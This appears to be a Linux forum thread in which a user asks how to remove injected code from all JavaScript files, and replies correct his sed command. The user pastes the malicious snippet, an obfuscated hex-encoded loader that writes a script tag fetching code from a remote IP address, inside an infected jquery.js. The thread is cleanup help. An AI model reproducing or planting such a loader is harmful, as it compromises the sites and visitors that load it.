SED command no working | May be I am doing wrong
Hello,
I want to remove the below code from all .JS files: ====================== _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); ====================== For this I have tried to use below command but its not working. ====================== grep -rl '_0xaae8' . | xargs sed –i 's/var\s_0xaae8.*//g' sed: -e expression #1, char 1: unknown command: `▒' ====================== Please help me out what will be the exact command. Any suggestion should be appreciated. Regards, Tarak Nath |
Quote:
Code:
sed '/_0xaae8/d' file_name |
No Sir,
Actually there are many JS files with the above code in the sub-folder under a folder. That's why I want remove this code from all JS files. Is there any command that we can use to remove above code from all JS files? Regards, Tarak Nath |
Quote:
|
As per your suggestion, I have tried the below command. Unfortunately its not working. File is same as it is
========== [root@dev1 jquery]# cat jquery.js var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));[root@dev1 jquery]# [root@dev1 jquery]# sed '/_0xaae8/d' jquery.js [root@dev1 jquery]# cat jquery.js var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));[root@dev1 jquery]# ========== It will good if you please check and suggest me with exact command. Regards, Tarak Nath |
The sed error message in post #1 is caused by the Unicode character 'EN DASH'.
http://www.fileformat.info/info/unic...2013/index.htm Code:
printf '%s' 'sed –i' | od -An -tx1z # sed –i from post #1 |
Executing a sed command over a file does not, by default, change the contents of the file; it just outputs the edited content to standard out.
You need to capture the output, perhaps by redirection, into a new file that will then look as you wish, or review info sed to understand how to make changes in-place |
Quote:
As explained by scasey, the given sed command will remove the content of the source file and print on the linux terminal. It will not make any changes on the source file. To remove the lines from the source file permanently use the "-i" option with the sed command. Code:
sed -i '/_0xaae8/d' file_name Alternativly, another suggestion is that to redirect it to a new file without the "-i" option in the sed command. Code:
sed '/_0xaae8/d' file_name > NEW_FILE_NAME :thumbsup: |
All times are GMT -5. The time now is 10:20 PM. |